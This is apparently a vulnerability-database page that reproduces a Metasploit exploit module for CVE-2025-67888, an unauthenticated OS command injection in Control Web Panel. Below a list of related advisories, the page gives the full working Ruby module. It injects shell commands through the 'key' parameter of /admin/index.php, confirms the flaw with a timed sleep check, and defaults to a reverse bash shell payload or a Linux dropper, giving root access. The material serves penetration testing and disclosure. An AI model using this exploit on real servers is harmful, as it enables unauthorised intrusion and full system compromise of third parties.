Lucene search
K

Control Web Panel /admin/index.php Unauthenticated RCE

🗓️ 14 Jan 2026 18:54:10Reported by Lukas Johannes Möller, Egidio RomanoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 383 Views

Unauthenticated OS command injection in Control Web Panel <=0.9.8.1208 via key parameter when api is set.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-67888
8 May 202600:00
attackerkb
Circl
CVE-2025-67888
18 Dec 202515:00
circl
CNNVD
Control Web Panel 操作系统命令注入漏洞
8 May 202600:00
cnnvd
CVE
CVE-2025-67888
8 May 202600:00
cve
Cvelist
CVE-2025-67888
8 May 202600:00
cvelist
EUVD
EUVD-2025-209736
8 May 202609:31
euvd
NVD
CVE-2025-67888
8 May 202607:16
nvd
Packet Storm
📄 Control Web Panel 0.9.8.1208 Command Injection
16 Dec 202500:00
packetstorm
Packet Storm
📄 Control Web Panel 0.9.8.1208 Remote Code Execution
14 Jan 202600:00
packetstorm
Positive Technologies
PT-2026-38670
8 May 202600:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Control Web Panel /admin/index.php Unauthenticated RCE',
        'Description' => %q{
          Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
          unauthenticated OS command injection. User input passed via the
          "key" GET parameter to /admin/index.php (when the "api" parameter is set)
          is not properly sanitized before being used to execute OS commands.
          This can be exploited by unauthenticated attackers to inject and execute
          arbitrary OS commands with the privileges of the root user on the web server.

          Successful exploitation usually requires "Softaculous" and/or "SitePad"
          to be installed through the Scripts Manager.
        },
        'Author' => [
          'Lukas Johannes Möller', # Metasploit module
          'Egidio Romano' # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2025-67888'],
          ['URL', 'https://karmainsecurity.com/KIS-2025-09'],
          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2025-67888'],
          ['URL', 'https://control-webpanel.com']
        ],
        'DisclosureDate' => '2025-12-16',
        'License' => MSF_LICENSE,
        'Platform' => ['linux', 'unix'],
        'Arch' => ARCH_ALL,
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_ALL,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              },
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x00\x20"
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => ARCH_ALL
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      Opt::RPORT(2031)
    ])
  end

  def check
    sleep_time = rand(5..10)

    print_status("Checking vulnerability with sleep command (waiting #{sleep_time} seconds)...")

    res, elapsed_time = Rex::Stopwatch.elapsed_time do
      send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri('/admin/index.php'),
        'vars_get' => {
          'api' => '1',
          'key' => "$(sleep #{sleep_time})"
        }
      )
    end

    vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds")

    return CheckCode::Unknown('No response from server.') unless res
    return CheckCode::Vulnerable("Server waited #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).") if elapsed_time >= sleep_time

    CheckCode::Safe("Server responded in #{elapsed_time.round(2)} seconds (expected >= #{sleep_time}).")
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('/admin/index.php'),
      'vars_get' => {
        'api' => '1',
        'key' => "$(#{cmd})"
      }
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation